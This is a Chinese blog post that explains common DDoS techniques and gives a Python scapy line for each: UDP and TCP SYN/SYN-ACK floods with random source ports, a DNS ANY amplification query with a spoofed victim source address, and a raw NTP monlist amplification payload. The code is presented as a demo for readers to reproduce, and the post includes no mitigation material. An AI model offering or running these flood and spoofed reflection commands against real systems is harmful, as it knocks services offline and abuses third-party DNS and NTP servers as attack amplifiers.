DDOS攻击分析及总结

  • Post author:
  • Post category:其他



前言:

限于篇幅,本文只介绍几种常见的DDOS方式,并从代码层面进行复现,利用python的scapy第三方库可以实现发送数据包,详细信息请见https://scapy.net/.


0X01:什么是DDOS


DDoS,英文全称Distributed Denial of Service,中文名称是分布式拒绝服务攻击。指的是攻击者控制多个攻击源同时向同一主机或网络发起DoS攻击。它是DoS攻击的衍生形式,它可以对源IP地址进行伪造,使得这种攻击发生时更加隐蔽,更难进行攻击检测。DDoS攻击有多种不同的分类方法,可以分为手工DDoS和自动化DDoS,前者多用于测试场景,后者则多现于真实攻击。根据技术实现的不同可以分为多种,如流量DDoS攻击有UDP、ICMP洪水攻击等;扩展DDoS攻击有Smurf、TCP SYN攻击等。

—–来自WIKI百科


0X02:常见DDOS分类


1:UDP

2:TCP_SYN

3:TCP_SYN-ACK

4:DNS放大攻击

5:NTP放大攻击


0X03:UDP

UDP协议是无连接的,即发送数据前不需要建立连接.服务器只要开放一个UDP端口就可以进行UDP DDOS.

下面是一个以python为基础实现UDP DDOS的小demo(部分代码)

#ip为服务器,dport为服务器端口,sport是攻击机的端口
#verbose=0表示屏蔽控制台输出
#你也可以在IP(src=ip)中使用src=ip的方式实现伪造ip
randport = random.randint(0,65535)
response = send(IP(dst=ip)/UDP(dport=port,sport=randport),verbose=0)


0X04:TCP_SYN

TCP_SYN是基于TCP协议栈发起的攻击,首先我们要了解TCP的三次握手.

在这里插入图片描述

一次正常的TCP连接由客户主动发起连接请求报文(SYN),服务器发送回应连接请求报文(SYN-ACK),之后客户端确认接收到回应连接请求报文(SYN-ACK),然后发送确认报文(ACK),然后开始进行正常的数据传送.

作为攻击者,我们只需要进行第一步,即发送连接请求报文(SYN),服务器会发送回应连接请求报文(SYN-ACK),由于我们不进行握手的第三步即发送ACK确认报文,连接就会中断.

如图所示

在这里插入图片描述

#flags='S'将报文设置为SYN报文
randport = random.randint(0,65535)
send(IP(dst=ip)/TCP(dport=port,sport=randport,flags='S'),verbose=0)


0X05:TCP_SYN-ACK


攻击者直接发送SYN-ACK报文,由于服务端未向客户端发送SYN报文即为一个不正常的TCP握手过程,服务端发送RST报文拒绝连接.

#flags='A'代表这是一个SYN-ACK报文
randport = random.randint(0,65535)
send(IP(dst=ip)/TCP(dport=port,sport=randport,flags='A'),verbose=0)


0X06:DNS放大攻击

DNS报文分为请求报文和应答报文,通常应答报文是请求报文的数倍大小,我们可以通过伪造源ip的方式发送请求报文实现DNS放大攻击

有关DNS协议的细节请自行查找

'''
src中的ip为服务器ip,dst中的ip为DNS服务器IP(如8.8.8.8)
DNS查询是通过UDP协议实现的,通常端口为53,sport(源端口)为服务器开放的端口
rd=1表示期望递归
qd=DNSQR(qtype=255,qname=domain)表示进行查询,类型为A类型,查询域名为domain
'''
send(IP(src=ip,dst=dns_server)/UDP(sport=port,dport=53)/DNS(rd=1,qd=DNSQR(qtype=255,qname=domain)),verbose=0)


0X07:NTP放大攻击


原理与DNS放大攻击类似

 data = "\x17\x00\x03\x2a" + "\x00" * 4
 send(IP(src=ip,dst=ntp_server)/UDP(dport=123,sport=randport)/Raw(load=data),verbose=0)

我是一名网络安全初学者,不定期分享一些干货,欢迎关注我的微信公众号WCTW,大家一起共同学习



版权声明:本文为klwsa原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。